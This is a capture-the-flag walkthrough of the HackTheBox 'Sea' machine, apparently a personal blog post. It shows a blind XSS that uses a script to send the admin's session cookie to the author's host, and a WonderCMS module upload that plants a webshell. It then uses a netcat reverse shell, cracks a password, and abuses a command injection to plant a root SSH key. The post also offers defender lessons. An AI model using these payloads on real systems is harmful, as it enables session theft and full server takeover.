Sea
2024-08-11
INTRODUCTION
Sea was released as the second box of HTB’s Season 6, Heist. With proper recon, it’s a very short box. Perhaps they will fix it after the season ends, but this box actually comes pre-exploited: to gain foothold, all you have to do is find the exploit and use it. It’s totally doable to figure out how to exploit it yourself though - that’s the method that I’ll outline in this walkthrough.
Recon is typical of an HTTP server. No alternate domains or subdomains were encountered. Effective directory and file enumeration leads to some important results though. I highly recommend you crawl the site for links on this one, though - so tools like ZAP Spider or Feroxbuster will both lead you to the results you need almost instantly. After this, a little web searching will allow you to determine the CMS that is being used.
After identifying the CMS, a bit of searching will reveal a very obvious exploit to try (Oddly though, it seems this exploit has already been used, and its result left in plain sight on the target?). Replicate this exploit using your own infrastructure to gain a foothold. After a some trivial local enumeration, a password hash can be recovered (remember, this is a “flat-file” CMS!). Crack the password to gain SSH access to a low privilege user, and the flag.
Local enumeration as the low-privileged user reveals an alternative http server exposed locally. Establish a proxy or forward a port for this server to gain easy access to it. The http server is able to run a few privileged commands - figure out a way to use this http server to perform a simple command injection and become root.
Personally, I didn’t enjoy this box. The lack of proper cleanup scripts, general flakiness of the webserver, and the “already-exploited” aspect made this box confusing, but not challenging. These factors also led to constant box resets.
RECON
nmap scans
Port scan
I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
Interesting that there’s no httponly
flag set on the session ID cookie. I’ll have to be on high alert for XSS opportunities 🚨
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
PORT STATE SERVICE VERSION
68/udp open|filtered tcpwrapped
138/udp open|filtered tcpwrapped
162/udp open|filtered tcpwrapped
515/udp open|filtered tcpwrapped
1701/udp open|filtered L2TP
2049/udp open|filtered nfs
5353/udp open|filtered zeroconf
49153/udp open|filtered unknown
49200/udp open|filtered unknown
65024/udp open|filtered unknown
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Webserver Strategy
I’ll add sea.htb
to /etc/hosts
and do banner grabbing on that domain:
DOMAIN=sea.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results. It’s probably pointless, since there was no redirect to sea.htb
(I only added the domain to my hosts
file for convenience sake), I’ll check for subdomains of sea.htb
:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No new results from that. I’ll move on to directory enumeration on http://sea.htb:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 -c -o fuzzing/ffuf-directories-root -of json -e .php,.js,.html,.txt -timeout 4 -fs 199
Directory enumeration against http://sea.htb/ gave the following:
Exploring the Website
The website claims to be an organizer of competetive nighttime bike events. So quirky! I hope their waivers are bulletproof.
The only important-looking clue is on the How to Participate tab:
“To participate, you only need to send your data as a participant through contact. Simply enter your name, email, age and country. In addition, you can optionally add your website related to your passion for night racing.”
This paragraph leads us to contact.php
, where there is a form to enter name, email, age, country, and (oddly enough) website. Let’s quickly start up a webserver with our own index page, and try out this form:
sudo ufw allow from $RADDR to any port 8000 proto tcp
ip a s tun0 # I'm at 10.10.14.5 right now
cd www
simple-server 8000 -v
As expected, the target contacted my HTTP server:
10.10.11.28 - - [12/Aug/2024 08:11:04] "GET / HTTP/1.1" 200 -
Host: 10.10.14.5:8000
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.5938.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
CMS Identification
What type of website is this? Is it fully custom? There is very little to go off of. Usually, the directory structure is a pretty good hint. I “spidered” the site using ZAP, showing that I had pretty much found the whole site from my initial directory enumeration:
Since it’s much better than searching on my own for the same info, I threw a prompt at ChatGPT:
*Can you help me identify what type of server is running this web app, based on its directory structure? I suspect it is some kind of CMS, but I don’t know: It has directories: data, messages, plugins, themes. There is also “index.php”, “contact.php”, “home”, “404”, and “0”. Tell me the five most likely types of CMS that could be running this web app"
Although it was much more verbose than this, it listed out the following:
- Bludit
- Grav CMS
- GetSimple CMS
- Wolf CMS
- WonderCMS
They pretty much all share the same characteristic directories. Unlike the others, Bludit uses a messages
directory, making it the most likely CMS.
However, since the logo image is clearly part of the theme, I did some searching for that one filename. I simply googled ““bike/img/velik71-new-logotip.png” and found a very sparse, but very informative result!
That page shows a discussion between the theme developer and WonderCMS for having the theme integrated into the downloadable / official themes for the CMS. While the WonderCMS them github repo is now deprecated, the theme developer still has it on their github.
I downloaded the theme, and it’s definitely a match! This definitively shows that the site is using WonderCMS.
FOOTHOLD
Cross-site Scripting
As I noted earlier during the script scan, the HttpOnly
property of the cookie was set to false
. This means that the cookie could be obtained by XSS. Here’s what the cookie looks like:
There are a few important things to observe:
- the
Domain
is set tosea.htb
- the
HostOnly
property istrue
, so subdomains ofsea.htb
would not be able to access it. - the
HttpOnly
property isfalse
, so the cookie is accessible to javascript - This is a PHP session ID - if we can get a copy of the target’s cookie, we may be able to impersonate them
We don’t get any output from the form, and have no way of viewing the stored form submission, so a successful attack would have to be blind XSS.
Although I thought I was unlikely to find any result, I checked searchsploit
to see if WonderCMS
had any known XSS opportunities. Much to my surprise, it does:
It’s already on my kali
system, so I copied the path, and looked up the exploit on ExploitDB:
searchsploit --path 51805
cp [PASTE] ./exploit/
I won’t copy out the whole exploit here, but the gist of it is as follows:
- XSS the admin user to steal their session cookie
- Impersonate their session by navigating to the WonderCMS
loginURL
- Install a module onto the site (as a “theme” file), which is actually a reverse shell
- Contact the reverse shell, providing the reverse shell listener’s address and port as URL parameters.
☝️ The exploit does all these steps automatically, but I’d rather break it down into its component steps and try them manually.
❓ At this point, I checked to see if the reverse shell was already present. Very surprisingly, it was sitting there, named exactly as it is in the Exploit DB script.
To access it, just set up a reverse shell listener and
GET
the reverse shell script:http://sea.htb/themes/revshell-main/rev.php?lhost=IP&lport=PORT
I reset the box, and the reverse shell was still there. It seems like this box comes pre-exploited 🙀
Was this intentional? Was it sloppiness? I have no idea. I’m going to continue this section of the walkthrough by pretending I never found this reverse shell. If you want to skip all this, just go straight to the next section.
If you run the exploit script, it will provide you with a string to use for XSS. For me, it became this:
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.104:8000/xss.js"></script><form+action="
When the admin user “clicks the link”, http://10.10.14.104:8000/xss.js
should be loaded into the local javascript context and executed. To steal the PHPSESSID
, we just need to dump their cookies. For that task, I used my usual XSS exfil script (this becomes my version of xss.js
, replacing the need for the one generated by the exploit):
function urlSafeBase64Encode(data) {
var encoded = btoa(data)
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=/g, '');
return encoded;
}
new Image().src='http://10.10.14.104:8000/XSS/?b64='+urlSafeBase64Encode(document.cookie)
(All it does is base64-encode the cookie, then POST
it back to my webserver.)
I typically base64-encode everything I exfil via XSS. The http server I use is my variant of the python
http.server
, which will automatically decode anything passed to it with ab64
parameter.Please go ahead and try that server if you want to skip a few steps.
Before I try the XSS, I’ll start up a webserver in the directory where I have xss.js
:
cd www # contains xss.js
simple-server 8000 -v
Now, I’ll try out this XSS by using just the website
field on the contact.php
form:
After a minute or two, I started seeing responses come in:
👏 And there’s the session cookie!
I’ll copy that into my own browser, and visit the login page. Hopefully it will recognize the session cookie and just redirect me:
http://sea.htb/loginURL
😁 Bingo! It worked perfectly. This is the admin interface to WonderCMS.
Shoot… I actually really like this. WonderCMS seems far, far better than Wordpress.
The Site Configuration panel shows several promising options for us to gain RCE:
Files seems like the obvious choice. Just upload a webshell or something, right? Well, it doesn’t agree:
But clearly there is a way to add new PHP to the website - otherwise this would be a pretty useless CMS, right? Both Themes and Plugins would perform that task. Let’s do exactly as shown in EDB-ID 51805 and install malicious theme/plugin using the API-style call. The request should look like this:
GET http://sea.htb/?installModule=http://10.10.14.104:8000/myplugin.zip&directoryName=violet&type=themes&token=[TOKEN]
Generating the plugin
It’s just going to be a webshell inside a zip
. From the WonderCMS documentation, it seem that it’s important that the name of the directory inside the zip matches the module name:
mkdir -p exploit/myplugin
cp /usr/share/webshells/php/phpbash.php exploit/myplugin/lkjhgytrscbuni6656754756.php
cd exploit
zip -r myplugin.zip myplugin
Then make sure we can obtain this zip via the local webserver:
cd ../www
cp ../exploit/myplugin.zip ./
sudo ufw allow from $RADDR to any port 8000 proto tcp
simple-server 8000 -v # serve this directory, if it isnt already served
Uploading the plugin
Now we just need to obtain a token. We can do this by simply searching the DOM of the admin interface. I found it in the Logout button:
<a href="http://sea.htb/logout?token=43f2388fdb232fc04313fe47a0d0b8a71f37887c5c59a37b7324a1110953373a&to=home/" class="wbtn wbtn-danger wbtn-sm button logout" title="Logout" onclick="return confirm('Log out?')"><i class="logoutIcon"></i></a>
Finally, let’s wrap it all together by sending the request to the installModule
endpoint:
👇 Remember to include the
PHPSESSID
cookie, otherwise it wont match the token we’ve provided
TOKEN='43f2388fdb232fc04313fe47a0d0b8a71f37887c5c59a37b7324a1110953373a'
MODULE='http://10.10.14.104:8000/myplugin.zip'
COOKIE='PHPSESSID=j4sbrq5ufqc187s1q990tfmu24'
curl "http://sea.htb/?installModule=$MODULE&directoryName=violet&type=themes&token=$TOKEN" -b $COOKIE
Webshell
Now we can check to see if our “module” was actually installed. Just navigate to http://sea.htb/themes/myplugin/lkjhgytrscbuni6656754756.php
🤗 I gave the webshell a really obscure name so that people couldn’t discover it via fuzzing.
🎉 There we go! We have RCE 😁
Webshell into Reverse shell
Let’s prepare a reverse shell listener:
💡 I’m trying to get into the habit of using stealthier ports
sudo ufw allow from $RADDR to any port 53 proto tcp
bash
sudo nc -lvnp 53
No need to overcomplicate anything, we can use a simple nc
reverse shell. Be sure to background the process with a &
or it will cause the whole webserver to hang.
Checking our reverse shell listener, we see that it worked perfectly 😉
Foothold was harder than I thought it would be, but actually pretty cool!
USER FLAG
Upgrade the shell
It would be good to have a nicer shell. Let’s upgrade this one:
which python python3 perl bash
# Python3 is present
python3 -c 'import pty; pty.spawn("/bin/bash")
[Ctrl+Z] stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color
export SHELL=bash
stty rows 35 columns 120
alias ll="ls -lah"
Local Enumeration - www-data
Checking out the /var/www/sea
directory, I almost immediately found database.js
. Inside, we clearly see the WonderCMS admin password hash:
It’s tempting to just toss this into john
or hashcat
, but this will result in an error:
We need to remember that this was a javascript file: the string we took out of it actually contains backslash \
escapes. Edit the hash and remove them:
Running it through john
again, we get the password within seconds:
These are the users on the box that we care about. If I’m checking for credential re-use, these are the top prospects:
cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -vE '^sync:'
# root:x:0:0:root:/root:/bin/bash
# amay:x:1000:1000:amay:/home/amay:/bin/bash
# geo:x:1001:1001::/home/geo:/bin/bash
I’ll try SSH as either of the users with a home directory:
ssh geo@$RADDR # use password "mychemicalromance"
# Nope
ssh amay@$RADDR # use password "mychemicalromance"
# Yep!
🎉 Alright! Success. The SSH connection drops us into /home/amay
, adjacent to the user flag. Simply cat
it out for the points:
cat user.txt
ROOT FLAG
Local Enumeration - amay
Checking sudo -l
shows that amay doesn’t actually have any sudo
access. However, we can see right away that there are some services listening locally:
☝️ Usually I’d just establish a SOCKS5 proxy using chisel. However, this box is giving me the dreaded “No space left on device” 😱
Thankfully, we have SSH credentials, so we can just forward the ports instead! (Note I’ll use 8008 instead of 8080, because I already have ZAP using port 8080)
exit # log out of amay
ssh -L 8008:localhost:8080 -L 52119:localhost:52119 amay@$RADDR
Now we can check out what is running on port 8080.
When I navigate to http://localhost:8008
I’m presented with http basic authentication prompt. Assuming that amay has access to this service, I just used those credentials (amay : mychemicalromance):
The authentication was successful, and brings us to some kind of system monitor page:
System Monitor
This page appears to let us do some basic administrative tasks on the host. Normally, all of these operations require root access, so this may be useful for privilege escalation… 🤔
The bottom section is particularly interesting. It allows us to read either /var/log/apache2/access.log
or /var/log/auth.log
, both of which can only be read by root
(or members of the adm
group):
When we click the button to analyze access.log
, we get some output based on the file contents. The same is true for auth.log
:
If we proxy this request through ZAP, we can see that the filename is passed via a POST
body:
POST http://localhost:8080/ HTTP/1.1
host: localhost:8080
...
Content-Type: application/x-www-form-urlencoded
...
log_file=%2Fvar%2Flog%2Fapache2%2Faccess.log&analyze_log=
Additionally, it seems like the two filenames are hardcoded directly into the dropdown menu:
From a coding perspective, this is a really odd choice. It’s either a mistake or a vulnerability. Let’s test if the value of the <option>
element determines which file is read by the tool:
😂 I’d say this is pretty clear confirmation:
However, if we try to read /root/root.txt
by the same method, we just get a message stating “No suspicious traffic patterns detected in /root/root.txt.”
This means that the underlying system must be running grep
over the specified file, or something similar, and if any result was returned then it will show us the file contents. Since there is nothing suspicious about the hash inside of /root/root.txt
, we can’t see the contents directly.
We can imagine that behind-the-scenes, there is a command like this running:
$(cat $FILENAME | grep -f suspicious_traffic_patterns.txt) && echo "Suspicious traffic patterns detected in $FILENAME" || echo "No suspicious traffic patterns detected in $FILENAME"
So… Why not just redirect the output of the cat
part? 😉
When we run the Analyze operation, we see the file created at /tmp/.Tools/logfile
:
If all you want is the flag, that’s it!
EXTRA CREDIT
Full Pwn
Why stop with an arbitrary file read? We’ve already demontrated that we can also write an arbitrary file, so let’s write something useful - we could plant an ssh key onto the root user and have full access to the box.
First, from the attacker host, create a new keypair:
ssh-keygen -t rsa -b 4096 -f root_id_rsa -N 'vulture.1337'
chmod 600 root_id_rsa
base64 -w 0 root_id_rsa.pub # Copy to clipboard
Now, using the amay ssh connection, insert pubkey into a file on the target:
echo -n '[PASTE CLIPBOARD]' | base64 -d > /tmp/.Tools/id_rsa.pub
With the pubkey in place, we can now just append it into /root/.ssh/authorized_keys
:
☝️ Be sure to use
>>
instead of>
for this. Then you won’t ruin anybody else’s root backdoor.
We can now use our private key to log into the box as root:
ssh -i root_id_rsa root@$RADDR # use passphrase 'vulture.1337'
System Monitor
The two directories inside /root
pertain to the System Monitor service we just used for privesc. Out of interest, we can now see exactly the script we injected our input into, in /root/monitoring/index.php
:
if (isset($_POST['analyze_log'])) {
$log_file = $_POST['log_file'];
$suspicious_traffic = system("cat $log_file | grep -i 'sql\|exec\|wget\|curl\|whoami\|system\|shell_exec\|ls\|dir'");
if (!empty($suspicious_traffic)) {
echo "<p class='error'>Suspicious traffic patterns detected in $log_file:</p>";
echo "<pre>$suspicious_traffic</pre>";
} else {
echo "<p>No suspicious traffic patterns detected in $log_file.</p>";
}
}
Wow! The system()
call we exploited was even simpler than I had imagined 😂
cat $log_file | grep -i 'sql\|exec\|wget\|curl\|whoami\|system\|shell_exec\|ls\|dir'
Contact.php XSS
Now that I have a root shell, I can freely check out what the point of geo was.
As it turns out, they hold the script that performs the contact form checking! It’s at /home/geo/scripts/contact.py
:
import os
import asyncio
from pyppeteer import launch
import requests
async def XSS(page, url):
login_url = 'http://127.0.0.1/loginURL'
headers = {'host': 'sea.htb'}
data = {'password': 'mychemicalromance'}
response = requests.post(login_url, data=data, headers=headers, allow_redirects=False)
cookie = response.headers.get('Set-Cookie')
cookie = cookie.split(';')
cookie = cookie[1].split('=')[2]
cookie = {'name': 'PHPSESSID', 'value': cookie, 'domain': 'sea.htb'}
await page.setCookie(cookie)
try:
await page.goto(url)
content = await page.content()
except Exception as e:
print(f"[!] Failed at goto. {e}")
async def main():
browser = await launch(headless=True, args=['--no-sandbox'])
page = await browser.newPage()
directory_path = "/var/www/sea/messages/"
while True:
files = os.listdir(directory_path)
message_files = [file for file in files if file.endswith(".txt")]
urls = []
for file in message_files:
try:
file_path = os.path.join(directory_path, file)
with open(file_path, 'r') as f:
lines = f.readlines()
for line in lines:
if line.startswith("Website:"):
website = line.strip().split(": ")[1]
urls.append(website)
except:
print(f"[!] Failed to process {file}")
for url in urls:
try:
await XSS(page, url)
except:
print("[!] Failed at XSS")
os.system(f"rm -f {directory_path}*")
await asyncio.sleep(60)
asyncio.get_event_loop().run_until_complete(main())
In short, the XSS happens implicitly, right here:
try:
await page.goto(url)
content = await page.content()
except Exception as e:
print(f"[!] Failed at goto. {e}")
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools
:
rm -rf /tmp/.Tools
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:
rm -rf loot
sudo vim /etc/hosts # Remove sea.htb
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED
Attacker
🚪 Check if the box has already been exploited. When you’re up against a seriously misconfigured target, or one that’s vulnerable to a very well-known exploit, there is a good chance that the box has already been exploited. It’s useful to check quickly if you can access any backdoors that may have been installed already. The best hackers will close every door behind themselves, and cover all of their own tracks, but there are plenty of sloppy hackers out there too. It’s greasy, but if all you want is the points, then go for it.
🔁 Figure out your own exploit. Opposite to the previous point, you will learn so much more by creating your own exploit. Even if this only involves re-writing each component step of an existing exploit then delivering it from your own infrastructure, the learning is very valuable. After all, not everyone who develops an exploit is some ultra-elite pro hacker with a decade of experience… sometimes the vulnerability is easy, and that developer was simply the first to publish something!
☑️ Use a checklist with recon. Not everyone would have taken the extra step to identify the CMS on this box. In this case, identifying the CMS was essential to the exploit. It’s smart to establish a checklist for recon, so you can spend a few minutes on each item and build a bigger picture of what the target is about. Even if you had, for example, a checklist item saying “identify CMS” but the target was running some custom-made website without a CMS, at least you spent a few minutes and can confidently write down “no result found” next to that box.
Defender
🍪 Protect against XSS. It’s usually pretty easy to protect against XSS. On this box, the attacker would have been thwarted by applying a proper
CSP
header, and setting the cookieHttpOnly
attribute toTrue
andSameSite
toTrue
. Some other really useful mitigations would have been input sanitization on thewebsite
field ofcontact.php
. After all, there was no reason that we should have allowed any characters that aren’t used in URLs. Although it’s clearly outside the scope of this box, the site should also have usedHTTPS
, and used theSecure
cookie attribute.👶 Least privilege, yep still important!. On this box, there was an internal System Monitor web app running as root. That’s a really bad idea. Why not run it as a system account, and just grant access to the log files? The system account (ex.
systemmonitor
) could be placed in thesudoers
list with the ability to do theapt
stuff:systemmonitor ALL=(ALL) NOPASSWD: /usr/bin/apt update, /usr/bin/apt clean
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake